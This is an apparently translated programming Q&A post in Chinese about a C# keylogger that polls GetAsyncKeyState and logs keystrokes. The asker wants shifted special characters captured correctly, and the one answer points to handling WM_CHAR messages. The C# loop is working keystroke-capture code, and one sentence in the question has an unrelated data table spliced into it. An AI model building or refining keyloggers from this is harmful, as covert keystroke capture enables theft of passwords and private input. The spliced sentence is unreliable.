捕获特殊键字符

时间:2017-06-26 10:51:31

标签: c# .net keylogger

我正在使用键盘记录程序,我使用samples countries color cost a US white 1.2 a UK white 1.2 a France white 1.2 a Germany white 1.2 b France red 2.0 b Germany red 2.0 c US blue 2.5 处理活动密钥。

GetAsyncKeyState

关键处理函数processKey,根据键类型处理键,但我不知道如何处理特殊键,如“¿?:;!·$%&”需要移位或需要alt的其他特殊字符,如“@#”。

我想写特殊字符而不是单独字符的组合,例如,如果我按shift + 0控制台应输出“=”,但在我的情况下,控制台将“[SHIFT]”“0”分开。

有processKey函数(unicode):

Keys lastKey = 0;
while (true)
{
    Boolean shiftKey;
    Boolean capsLock;
    String text = "";
    Thread.Sleep(captureTime);
    for (int i = 0; i< 1000; i++)
    {
        int keyState = GetAsyncKeyState(i);
        if (keyState == 1 || keyState == -32767)
        {
            shiftKey = Convert.ToBoolean(GetAsyncKeyState((int) Keys.ShiftKey));
            capsLock = Convert.ToBoolean(GetAsyncKeyState((int) Keys.CapsLock));
            text = processKey((Keys) i, shiftKey, capsLock);

            if (checkNewLine(lastKey, (Keys) i))
            {
                saveLog(text);
            }
            lastKey = (Keys) i;
        }
    }
}

1 个答案:

答案 0 :(得分:1)

你混淆了两个概念。

  1. GetAsyncKeyState返回虚拟KEY的状态,换句话说,它会告诉您键盘上的键是否被按下。
  2. 当你说要处理$或%时,那些不是键,那些是输入字符。 Windows将为您创建这些,但您需要处理WM_CHAR消息。作为奖励,这也将涉及unicode。
  3. 您应该使用2种方法。

    另外:你不应该使用while(1){... sleep()...}循环样式。